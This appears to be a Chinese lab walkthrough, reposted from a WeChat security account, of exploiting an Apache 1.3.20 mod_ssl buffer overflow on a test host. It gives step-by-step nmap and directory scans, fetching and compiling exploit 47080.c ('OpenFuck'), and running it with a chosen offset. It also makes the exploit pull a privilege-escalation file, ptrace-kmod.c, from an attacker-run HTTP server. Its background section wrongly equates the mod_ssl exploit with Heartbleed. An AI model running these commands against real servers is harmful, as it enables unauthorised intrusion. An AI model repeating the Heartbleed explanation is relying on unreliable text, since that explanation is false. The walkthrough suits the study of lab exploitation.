1、扫描
1)使用nmap全面扫描该ip【nmap -sV -A -p- 192.168.85.129】,
-sV: 服务版本扫描
-A:全面扫描
-p-:全端口扫描
得到信息:
22端口开放,ssh服务 (可以尝试ssh弱口令)
80端口开放,Apache服务,版本1.3.20 (apache版本过低,可能存在mod_ssl漏洞利用)
443端口,https (80,443可以浏览器访问一下)
139端口,samba服务,(可能存在samba漏洞利用)
2、信息利用
1)浏览器访问80和443端口,没什么发现
2)使用dirb、dirsearch扫描目录
【dirb http://192.168.85.129/】
【python dirsearch.py -u http://192.168.85.129/ -e * -i 200】
访问一遍, 网页中没有什么有效信息 , 提示mod_ssl漏洞
3、漏洞利用
mod_ssl缓冲区溢出漏洞利用
mod_ssl漏洞
mod_ssl是Apache HTTP Server的一个模块,它提供了对SSL/TLS协议的支持,用于加密和保护Web服务器与客户端之间的通信。mod_ssl的漏洞指的是该模块存在的安全漏洞,可能会被攻击者利用来进行恶意活动。
一种常见的mod_ssl漏洞是心脏出血漏洞(Heartbleed vulnerability),它是在OpenSSL库中发现的,但也影响到了使用mod_ssl模块的Apache服务器。该漏洞允许攻击者从服务器的内存中读取敏感信息,如私钥、会话密钥等,而无需进行任何身份验证。
攻击者可以通过发送特制的恶意请求来利用心脏出血漏洞。当服务器收到这样的请求时,由于一个错误的实现,它会返回多余的数据,包括服务器内存中的敏感信息。攻击者可以利用这些信息来进行进一步的攻击,如窃取用户的登录凭证、篡改数据等。
3)寻找相关exp。
【searchsploit mod_ssl 】网页搜索也ok,https://www.exploit-db.com/search
4)将脚本下载下来,【searchsploit -m 47080.c】
5)查看脚本使用方法,【cat 47080.c】
6)安装对应环境,【apt-get install libssl-dev】
7)编译执行,【gcc -o OpenFuck 47080.c -lcrypto】
查看该编译后二进制文件的使用方法 ,【./OpenFuck】
8)此处target的值参考使用方法中offset的对应值,如图 ,前面nmap扫描出的apache版本号为1.3.20,这两个都可以尝试一下,最后测试0x6b是可行的。
9)所以执行命令【./OpenFuck 0x6b 192.168.85.129 443 -c 40】
执行whoami命令发现为普通用户。
10)在执行命令的时候发现有报错,有提示C文件ptrace-kmod.c找不到,导致部分文件没有执行成功。
11)这里手动下载一下【wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c】
12)接着在本地利用python开启http服务【python3 -m http.server 80】。
然后把c文件47080.c的需要调用这个ptrace-kmod.c文件的地址修改一下【vim 47080.c】。
这里的ip改为本地的ip地址,不要填127.0.0.1,https记得改为http
12)删除原来的OpenFuck文件,再去重新编译【gcc -o OpenFuck 47080.c -lcrypto】
利用执行命令【./OpenFuck 0x6b 192.168.85.129 443 -c 40】
如果没成功多执行两次。
原文始发于微信公众号(安全攻防屋):mod_ssl缓冲区溢出
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论